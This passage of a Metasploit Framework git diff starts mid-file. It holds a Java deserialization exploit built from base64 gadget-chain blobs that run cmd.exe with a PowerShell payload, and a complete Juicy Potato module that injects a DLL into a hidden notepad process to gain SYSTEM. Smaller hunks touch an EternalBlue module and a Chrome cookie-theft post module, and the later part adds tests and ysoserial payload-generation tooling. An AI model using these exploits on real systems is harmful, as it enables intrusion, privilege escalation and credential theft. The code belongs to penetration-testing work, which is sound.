J3EAfgAneHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHgAc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIAA1oADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAGWgALcHJlRmlsdGVyZWRbAAxhZHZpc29yQXJyYXl0ACJbTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL0Fkdmlzb3I7TAATYWR2aXNvckNoYWluRmFjdG9yeXQAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNvckNoYWluRmFjdG9yeTtMAAhhZHZpc29yc3QAEExqYXZhL3V0aWwvTGlzdDtMAAppbnRlcmZhY2VzcQB+ADBMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS/Pmp+D3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAAB1cgAiW0xvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5BZHZpc29yO9+DDa3SHoR0AgAAeHAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgAUamF2YS51dGlsLkxpbmtlZExpc3QMKVNdSmCIIgMAAHhwdwQAAAAAeHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXR0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AHEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAA="
jsonss_mid = Rex::Text.decode_base64 "yv66vgAAADMAPwoAAwAiBwA9BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAEGphdmEvbGFuZy9TdHJpbmcHADABAAdjbWQuZXhlCAAyAQACL2MIADQB"
jsonss_end = Rex::Text.decode_base64 "CAA2AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADgAOQoAKwA6AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjE0MTQzNDkxMTUwNDY3MgEAIEx5c29zZXJpYWwvUHduZXIxNDE0MzQ5MTE1MDQ2NzI7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAMAAOAAAADAABAAAABQAPAD4AAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANQAOAAAAIAADAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOQAOAAAAKgAEAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAANQAGAAIAAAAgpwADAUy4AC8GvQAxWQMSM1NZBBI1U1kFEjdTtgA7V7EAAAABADwAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AEYAAAHUyv66vgAAADMAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHhzcgAmamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uVGFidWxhclR5cGVa9L2hxNYGPQIAAkwACmluZGV4TmFtZXNxAH4AMEwAB3Jvd1R5cGV0ACpMamF2YXgvbWFuYWdlbWVudC9vcGVubWJlYW4vQ29tcG9zaXRlVHlwZTt4cQB+ABt0ACZqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5UYWJ1bGFyRGF0YXEAfgAfcQB+ACBzcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AMHhyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNxAH4AOgAAAAF3BAAAAAFxAH4AIHhxAH4AUnEAfgAdcQB+AAVzcQB+AAJxAH4AB3EAfgBMcQB+AFN4"
# Generate Payload
cmd = gen_payload
tmp = 0x06d3 + cmd.length # Magic number plus length of the cmd
tmp = tmp.to_s(16)
length_param = [tmp.rjust(4,'0')].pack("H*")
# Convert command length to binary (two bytes, big-endian)
tmp = cmd.length.to_s(16)
cmd_size = [tmp.rjust(4,'0')].pack("H*")
# Some assembly required
serialized_data = jsonss_start
serialized_data += length_param
serialized_data += jsonss_mid
serialized_data += cmd_size
serialized_data += cmd
serialized_data += jsonss_end
return serialized_data
end
def gen_payload
# Powershell payload
cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
end
end

View File

@ -0,0 +1,198 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/windows/reflective_dll_injection'
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)',
'Description' => %q(
This module utilizes the Net-NTLMv2 reflection between DCOM/RPC
to achieve a SYSTEM handle for elevation of privilege.
It requires a CLSID string.
),
'License' => MSF_LICENSE,
'Author' =>
[
'FoxGloveSec', # the original Potato exploit
'breenmachine', # Rotten Potato NG!
'decoder', # Lonely / Juicy Potato
'ohpe', # Juicy Potato
'phra', # MSF Module
'lupman' # MSF Module
],
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'none',
'WfsDelay' => '20'
},
'Targets' =>
[
['Automatic', {}]
#['Windows x86', { 'Arch' => ARCH_X86 }],
#['Windows x64', { 'Arch' => ARCH_X64 }]
],
'Payload' =>
{
'DisableNops' => true
},
'References' =>
[
['MSB', 'MS16-075'],
['CVE', '2016-3225'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'],
['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],
['URL', 'https://github.com/breenmachine/RottenPotatoNG'],
['URL', 'https://decoder.cloud/2017/12/23/the-lonely-potato/'],
['URL', 'https://ohpe.it/juicy-potato/']
],
'DisclosureDate' => 'Jan 16 2016',
'DefaultTarget' => 0
}))
register_options(
[
OptString.new('CLSID', [ true, 'Set CLSID value of the DCOM to trigger', '{4991d34b-80a1-4291-83b6-3328366b9097}' ])
])
register_advanced_options(
[
OptAddress.new('RpcServerHost', [ true, 'Set RPC server target host', '127.0.0.1' ]),
OptPort.new('RpcServerPort', [ true, 'Set RPC server target port', 135 ]),
OptAddress.new('ListeningAddress', [ true, 'Set listening address for MITM DCOM communication', '127.0.0.1' ]),
OptPort.new('ListeningPort', [ true, 'Set listening port for MITM DCOM communication', 7777 ]),
OptString.new('LogFile', [ false, 'Set the log file' ])
])
end
def assign_target
if target.name == 'Automatic'
case sysinfo["Architecture"]
when 'x86'
vprint_status("Found we are on an x86 target")
my_target = targets[1]
when 'x64'
vprint_status("Found we are on an x64 target")
my_target = targets[2]
else
fail_with(Failure::NoTarget, "Unable to determine target")
end
else
my_target = target
end
return my_target
end
# Creates a temp notepad.exe to inject payload in to given the payload
def create_temp_proc()
windir = client.sys.config.getenv('windir')
# Select path of executable to run depending the architecture
if sysinfo["Architecture"] == ARCH_X64 and client.arch == ARCH_X86 and @payload_arch.first == ARCH_X64
cmd = "#{windir}\\Sysnative\\notepad.exe"
elsif sysinfo["Architecture"] == ARCH_X64 and client.arch == ARCH_X64 and @payload_arch.first == ARCH_X86
cmd = "#{windir}\\SysWOW64\\notepad.exe"
else
cmd = "#{windir}\\System32\\notepad.exe"
end
begin
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true})
rescue Rex::Post::Meterpreter::RequestError
return nil
end
return proc
end
def create_temp_proc_stage2()
windir = client.sys.config.getenv('windir')
# Select path of executable to run depending the architecture
if sysinfo["Architecture"] == ARCH_X64 and @payload_arch.first == ARCH_X86
cmd = "#{windir}\\SysWOW64\\notepad.exe"
else
cmd = "#{windir}\\System32\\notepad.exe"
end
return cmd
end
def check
privs = client.sys.config.getprivs
win10build = client.sys.config.sysinfo['OS'].match /Windows 10 \(Build (\d+)\)/
if win10build and win10build[1] > '17134'
return Exploit::CheckCode::Safe
end
win2019build = client.sys.config.sysinfo['OS'].match /Windows 2019 \(Build (\d+)\)/
if win2019build and win2019build[1] > '17134'
return Exploit::CheckCode::Safe
end
if privs.include?('SeImpersonatePrivilege')
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
@payload_name = datastore['PAYLOAD']
@payload_arch = framework.payloads.create(@payload_name).arch
my_target = assign_target
if check == Exploit::CheckCode::Safe
fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege')
end
if @payload_arch.first == ARCH_X64
dll_file_name = 'juicypotato.x64.dll'
vprint_status("Assigning payload juicypotato.x64.dll")
elsif @payload_arch.first == ARCH_X86
dll_file_name = 'juicypotato.x86.dll'
vprint_status("Assigning payload juicypotato.x86.dll")
else
fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code")
end
print_status('Launching notepad to host the exploit...')
notepad_process = create_temp_proc
cmd = create_temp_proc_stage2
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", "juicypotato", dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting exploit configuration into #{process.pid}...")
configuration = "#{datastore['LogFile']}\x00"
configuration += "#{cmd}\x00"
configuration += "#{datastore['CLSID']}\x00"
configuration += "#{datastore['ListeningPort']}\x00"
configuration += "#{datastore['RpcServerHost']}\x00"
configuration += "#{datastore['RpcServerPort']}\x00"
configuration += "#{datastore['ListeningAddress']}\x00"
configuration += "#{payload.encoded.length}\x00"
configuration += payload.encoded
payload_mem = inject_into_process(process, configuration)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Configuration injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end

View File

@ -103,7 +103,7 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
begin
if datastore['SMBUser'].present?
print_status("Authenticating to #{datastore['RHOSTS']} as user '#{splitname(datastore['SMBUser'])}'...")
print_status("Authenticating to #{datastore['RHOST']} as user '#{splitname(datastore['SMBUser'])}'...")
end
eternal_pwn(datastore['RHOST'])
smb_pwn()

View File

@ -180,7 +180,8 @@ class MetasploitModule < Msf::Post
# read_file within if/else block because kill was terminating sessions on OSX during testing
chrome_output = read_file(@cookie_storage_path)
# Kills meterpreter only non-windows sessions
# Kills spawned chrome process in windows meterpreter sessions.
# In OSX and Linux the meterpreter sessions would stop as well.
if session.platform == 'windows'
kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}"
end

20
msf-ws.ru Normal file
View File

@ -0,0 +1,20 @@
# msf-ws.ru
# Metasploit data web service
require 'pathname'
@framework_path = '.'
root = Pathname.new(@framework_path).expand_path
@framework_lib_path = root.join('lib')
$LOAD_PATH << @framework_lib_path unless $LOAD_PATH.include?(@framework_lib_path)
require 'msfenv'
if ENV['MSF_LOCAL_LIB']
$LOAD_PATH << ENV['MSF_LOCAL_LIB'] unless $LOAD_PATH.include?(ENV['MSF_LOCAL_LIB'])
end
# Note: setup Rails environment before calling require
require 'msf/core/web_services/metasploit_api_app'
# run Msf::WebServices::JsonRpcApp
run MetasploitApiApp

54
msfdb
View File

@ -32,7 +32,7 @@ require 'msf/util/helper'
@db_conf = "#{@localconf}/database.yml"
@ws_tag = 'msf-ws'
@ws_conf = "#{@localconf}/#{@ws_tag}-config.ru"
@ws_conf = File.join(@framework, "#{@ws_tag}.ru")
@ws_ssl_key_default = "#{@localconf}/#{@ws_tag}-key.pem"
@ws_ssl_cert_default = "#{@localconf}/#{@ws_tag}-cert.pem"
@ws_log = "#{@localconf}/logs/#{@ws_tag}.log"
@ -398,60 +398,12 @@ def status_web_service
end
def init_web_service
if File.file?(@ws_conf)
puts "Found web service config at #{@ws_conf}, checking to see if it is started"
start_web_service(expect_auth: true)
return
end
if @options[:ws_user].nil?
@msf_ws_user = ask_value('Initial MSF web service account username?', @msf_ws_user)
else
@msf_ws_user = @options[:ws_user]
end
# Write a default Rack config file for the web service
Dir.mkdir(@localconf) unless File.directory?(@localconf)
# TODO: free the REST API from all of these requirements
File.open(@ws_conf, 'w') do |f|
f.puts <<~EOF
# #{File.basename(@ws_conf)}
# created on: #{Time.now.utc}
@framework_path = '#{@framework}'
$LOAD_PATH << @framework_path unless $LOAD_PATH.include?(@framework_path)
require File.expand_path('./config/boot', @framework_path)
require 'metasploit/framework/parsed_options/remote_db'
require 'msf/core/web_services/metasploit_api_app'
def require_environment!(parsed_options)
# RAILS_ENV must be set before requiring 'config/application.rb'
parsed_options.environment!
ARGV.replace(parsed_options.positional)
# allow other Rails::Applications to use this command
if !defined?(Rails) || Rails.application.nil?
# @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/commands.rb#L39-L40
require File.expand_path('./config/application', @framework_path)
end
# have to configure before requiring environment because
# config/environment.rb calls initialize! and the initializers will use
# the configuration from the parsed options.
parsed_options.configure(Rails.application)
Rails.application.require_environment!
end
parsed_options = Metasploit::Framework::ParsedOptions::RemoteDB.new
require_environment!(parsed_options)
run MetasploitApiApp
EOF
end
File.chmod(0640, @ws_conf)
if @options[:ssl] && ((!File.file?(@options[:ssl_key]) || !File.file?(@options[:ssl_cert])) ||
(@options[:ssl_key] == @ws_ssl_key_default && @options[:ssl_cert] == @ws_ssl_cert_default))
generate_web_service_ssl(key: @options[:ssl_key], cert: @options[:ssl_cert])
@ -541,9 +493,6 @@ end
def delete_web_service
stop_web_service
if File.file?(@ws_conf) && ask_yn("Delete MSF web service configuration at #{@ws_conf}?")
File.delete(@ws_conf)
end
end
def reinit_web_service
@ -559,7 +508,6 @@ def generate_web_service_ssl(key:, cert:)
end
puts 'Generating SSL key and certificate for MSF web service'
# @ssl_cert = Rex::Socket::SslTcpServer.ssl_generate_certificate
@ssl_key, @ssl_cert, @ssl_extra_chain_cert = Rex::Socket::Ssl.ssl_generate_certificate
# write PEM format key and certificate

View File

@ -1344,7 +1344,7 @@ class Plugin::Wmap < Msf::Plugin
ssl = true
end
site = self.framework.db.report_web_site(:wait => true, :host => uri.host, :port => uri.port, :vhost => vhost, :ssl => ssl)
site = self.framework.db.report_web_site(:wait => true, :host => uri.host, :port => uri.port, :vhost => vhost, :ssl => ssl, :workspace => self.framework.db.workspace)
return site
end

View File

@ -0,0 +1,80 @@
require 'rex'
require 'msf/util/java_deserialization'
RSpec.describe Msf::Util::JavaDeserialization do
let(:payload_name) do
'PAYLOAD_NAME'
end
let(:default_command) do
nil
end
describe '#ysoserial_payload' do
context 'when default payload name is changed' do
it 'raises a RuntimeError' do
payload_filename_constant = Msf::Util::JavaDeserialization.const_get(:PAYLOAD_FILENAME)
Msf::Util::JavaDeserialization.const_set(:PAYLOAD_FILENAME, 'INVALID')
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(RuntimeError)
Msf::Util::JavaDeserialization.const_set(:PAYLOAD_FILENAME, payload_filename_constant)
end
end
context 'when default payload is not found' do
it 'raises a RuntimeError' do
allow(File).to receive(:join).and_return('INVALID')
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(RuntimeError)
end
end
context 'when default payload is not JSON format' do
it 'raises a RuntimeError error' do
allow(File).to receive(:read).and_return('BAD DATA')
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(RuntimeError)
end
end
context 'when payload status is unsupported' do
it 'raises a unsupported error' do
json_data = %Q|{"BeanShell1":{"status":"unsupported","bytes":"AAAA"}}|
allow(File).to receive(:read).and_return(json_data)
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(ArgumentError)
end
end
context 'when payload status is static' do
let(:payload_name) do
'BeanShell1'
end
it 'returns a Base64 string' do
original_bytes = 'AAAA'
b64 = Rex::Text.encode_base64(original_bytes)
json_data = %Q|{"BeanShell1":{"status":"static","bytes":"#{b64}"}}|
allow(File).to receive(:read).and_return(json_data)
p = Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)
expect(p).to eq(original_bytes)
end
end
context 'when payload status is dynamic' do
let(:payload_name) do
'BeanShell1'
end
context 'when missing a command' do
it 'raises an argument error' do
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(ArgumentError)
end
end
context 'when a command is provided' do
it 'returns serialized data' do
default_command = 'id'
p = Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)
expect(p).to include('java.awt.event')
end
end
end
end
end

View File

@ -1,9 +1,15 @@
RSpec.shared_examples_for 'Msf::DBManager::Cred' do
it { is_expected.to respond_to :creds }
unless ENV['REMOTE_DB']
it { is_expected.to respond_to :each_cred }
it { is_expected.to respond_to :find_or_create_cred }
it { is_expected.to respond_to :report_auth }
it { is_expected.to respond_to :report_auth_info }
it { is_expected.to respond_to :report_cred }
end
it { is_expected.to respond_to :creds }
it { is_expected.to respond_to :create_credential }
it { is_expected.to respond_to :update_credential }
it { is_expected.to respond_to :delete_credentials }
end

View File

@ -0,0 +1,32 @@
# A docker container to generate empty ysoserial payloads and metadata to allow for
# dynamically creating payloads within related projects, such as Metasploit
#
# Created by: Aaron Soto, Rapid7 Metasploit Team, 2018-DEC-11
#
# To run:
# docker build -t ysoserial-payloads . && docker run -i ysoserial-payloads > ysoserial_offsets.json
#
# Note: There will be ruby gem errors. It's fine.
# We attempt to use the ysoserial-modified fork, then fail back to the original ysoserial project.
# You will see warnings, but we're doing our best. :-)
FROM ubuntu
RUN apt update && apt -y upgrade
# Dependencies: wget (to download ysoserial)
# openjdk-8-jre-headless (to execute ysoserial)
# make, gcc (to install the 'json' ruby gem)
RUN apt install -y wget openjdk-8-jre-headless ruby-dev make gcc
# Download the latest ysoserial-modified
RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-original.jar
RUN wget -q https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar
# Install gems: diff-lcs (to diff the ysoserial output)
# json (to print the scripts results in JSON)
# pry (to debug issues)
RUN gem install --silent diff-lcs json pry
COPY find_ysoserial_offsets.rb /
CMD ruby /find_ysoserial_offsets.rb

View File

@ -0,0 +1,224 @@
#!/usr/bin/env ruby
require 'diff-lcs'
require 'json'
require 'base64'
require 'open3'
YSOSERIAL_RANDOMIZED_HEADER = 'ysoserial/Pwner'
PAYLOAD_TEST_MIN_LENGTH = 4
PAYLOAD_TEST_MAX_LENGTH = 5
# ARGV parsing
if ARGV.include?("-h")
puts 'ysoserial object template generator'
puts
puts 'Usage:'
puts ' -h Help'
puts ' -d Debug mode (output offset information only)'
puts " -m [type] Use 'ysoserial-modified' with the specified payload type"
puts
abort
end
debug = ARGV.include?('-d')
ysoserial_modified = ARGV.include?('-m')
if ysoserial_modified
payload_type = ARGV[ARGV.find_index('-m')+1]
unless ['cmd', 'bash', 'powershell', 'none'].include?(payload_type)
STDERR.puts 'ERROR: Invalid payload type specified'
abort
end
end
def generate_payload(payload_name,search_string_length)
# Generate a string of specified length and embed it into an ASCII-encoded ysoserial payload
searchString = 'A' * search_string_length
# Build the command line with ysoserial parameters
if ysoserial_modified
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-modified.jar',payload_name.to_s,payload_type.to_s,searchString.to_s)
else
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-original.jar',payload_name.to_s,searchString.to_s)
end
payload = stdout
payload.force_encoding('binary')
if payload.length == 0 && stderr.length > 0
# Pipe errors out to the console
STDERR.puts stderr.split("\n").each {|i| i.prepend(" ")}
elsif stderr.include? 'java.lang.IllegalArgumentException'
#STDERR.puts " WARNING: '#{payload_name}' requires complex args and may not be supported"
return nil
elsif stderr.include? 'Error while generating or serializing payload'
#STDERR.puts " WARNING: '#{payload_name}' errored and may not be supported"
return nil
elsif stdout == "\xac\xed\x00\x05\x70"
#STDERR.puts " WARNING: '#{payload_name}' returned null and may not be supported"
return nil
else
#STDERR.puts " Successfully generated #{payload_name} using #{YSOSERIAL_BINARY}"
# Strip out the semi-randomized ysoserial string and trailing newline
payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]+/, 'ysoserial/Pwner00000000000000')
return payload
end
end
def generate_payload_array(payload_name)
# Generate and return a number of payloads, each with increasingly longer strings, for future comparison
payload_array = []
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
payload = generate_payload(payload_name,i)
return nil if payload.nil?
payload_array[i] = payload
end
payload_array
end
def isLengthOffset?(current_byte, next_byte)
# If this byte has been changed, and is different by one, then it must be a length value
if next_byte && current_byte.position == next_byte.position && current_byte.action == "-"
if next_byte.element.ord - current_byte.element.ord == 1
return true
end
end
false
end
def isBufferOffset?(current_byte, next_byte)
# If this byte has been inserted, then it must be part of the increasingly large payload buffer
if (current_byte.action == '+' && (next_byte.nil? || (current_byte.position != next_byte.position)))
return true
end
false
end
def diff(a,b)
return nil if a.nil? or b.nil?
diffs = []
obj = Diff::LCS.diff(a,b)
obj.each do |i|
i.each do |j|
diffs.push(j)
end
end
diffs
end
def get_payload_list
# Call ysoserial and return the list of payloads that can be generated
payloads = `java -jar ysoserial-original.jar 2>&1`
payloads.encode!('ASCII', 'binary', invalid: :replace, undef: :replace, replace: '')
payloads = payloads.split("\n")
# Make sure the headers are intact, then skip over them
abort unless payloads[0] == 'Y SO SERIAL?'
payloads = payloads.drop(5)
payloadList = []
payloads.each do |line|
# Skip the header rows
next unless line.start_with? " "
payloadList.push(line.scan(/^ ([^ ]*) .*/).first.last)
end
payloadList
end
results = {}
payloadList = get_payload_list
payloadList.each do |payload|
STDERR.puts "Generating payloads for #{payload}..."
empty_payload = generate_payload(payload,0)
if empty_payload.nil?
STDERR.puts " ERROR: Errored while generating '#{payload}' and it will not be supported"
results[payload]={"status": "unsupported"}
next
end
payload_array = generate_payload_array(payload)
length_offsets = []
buffer_offsets = []
# Comparing diffs of various payload lengths to find length and buffer offsets
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
# Compare this binary with the next one
diffs = diff(payload_array[i],payload_array[i+1])
break if diffs.nil?
# Iterate through each diff, searching for offsets of the length and the payload
(0..diffs.length-1).each do |j|
current_byte = diffs[j]
next_byte = diffs[j+1]
prevByte = diffs[j-1]
if j > 0
# Skip this if we compared these two bytes on the previous iteration
next if prevByte.position == current_byte.position
end
# Compare this byte and the following byte to identify length and buffer offsets
length_offsets.push(current_byte.position) if isLengthOffset?(current_byte,next_byte)
buffer_offsets.push(current_byte.position) if isBufferOffset?(current_byte,next_byte)
end
end
if debug
for length_offset in length_offsets
STDERR.puts " LENGTH OFFSET #{length_offset} = 0x#{empty_payload[length_offset-1].ord.to_s(16)} #{empty_payload[length_offset].ord.to_s(16)}"
end
for buffer_offset in buffer_offsets
STDERR.puts " BUFFER OFFSET #{buffer_offset}"
end
